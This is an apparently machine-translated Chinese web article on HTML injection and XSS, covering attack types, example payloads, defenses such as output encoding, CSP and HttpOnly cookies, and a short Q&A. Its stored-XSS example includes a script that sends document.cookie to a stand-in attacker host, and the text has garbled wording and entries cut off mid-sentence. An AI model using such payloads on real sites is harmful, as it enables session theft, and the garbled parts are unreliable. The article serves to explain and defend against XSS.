当前位置:首页 > 行业动态 > 正文

html注入js

HTML注入是通过用户输入插入反面HTML代码的攻击方式,可导致XSS破绽,需对输入进行过滤和

攻击原理

HTML注入(XSS)的核心在于将反面脚本注入到网页中,利用浏览器对HTML/JS的解析机制执行攻击者预设的代码,主要流程如下:

  1. 输入被墙:攻击者通过表单/URL参数/API等途径提交包含反面标签或脚本的输入
  2. 信任存储:服务器未做过滤直接存储到数据库/日志/模板中
  3. 动态渲染:当其他用户访问时,浏览器解析执行存储的反面脚本
  4. 权限继承:利用当前用户权限执行敏感操作(如劫持Cookie)

常见类型对比表

类型 触发方式 持久化 典型场景 示例特征
存储型 数据存储后自动执行 论坛评论/用户资料 <script>alert(1)</script>
反射型 通过URL参数立即执行 搜索框/错误页面 <img src=x onerror=alert(1)>
DOM型 前端JS处理输入时执行 客户端表单验证/SPA应用 javascript:alert(1)

攻击示例

存储型XSS

<!-正常评论流程 -->
<form action="/submit">
  <textarea name="comment"></textarea>
</form>
<!-反面输入 -->
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
<!-服务器存储后展示 -->
<div class="comment">
  <!-此处直接输出未经编码的评论内容 -->
  <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
</div>

反射型XSS

<!-搜索功能 -->
<input name="query" value="<script>alert('xss')</script>">
<!-服务器返回页面 -->
<div class="results">
  <!-直接拼接URL参数到页面 -->
  You searched for <script>alert('xss')</script>
</div>

防御措施矩阵

防护层 实现方式 作用范围
输入验证 正则过滤特殊字符(如<>/”‘) 所有输入接口
输出编码 HTML转义(< → <) & 属性编码(” → ") 数据输出到HTML时
CSP策略 Content-Security-Policy: default-src 'self'; script-src 'none' 全站级防护
HttpOnly Cookie 设置Set-Cookie的HttpOnly属性 防止JS读取Cookie
前端处理 使用DOMPurify库清理用户输入 富文本编辑场景

相关问题与解答

Q1:如何区分反射型XSS和存储型XSS?
A:核心区别在于反面脚本的存储位置,反射型通过URL参数即时触发,不留存;存储型需要数据持久化存储(如数据库/文件),会在多个请求周期中持续生效,检测时可通过清除缓存后重新访问,观察是否仍需特定参数触发。

Q2:设置CSP后是否还需要其他防护措施?
A:CSP是重要防线但非银弹,需注意:① inline脚本需要哈希声明 ② 非受信域名的CSS/JS仍可能突破限制 ③ 必须配合输入验证/输出编码,建议多层防御,例如同时启用

0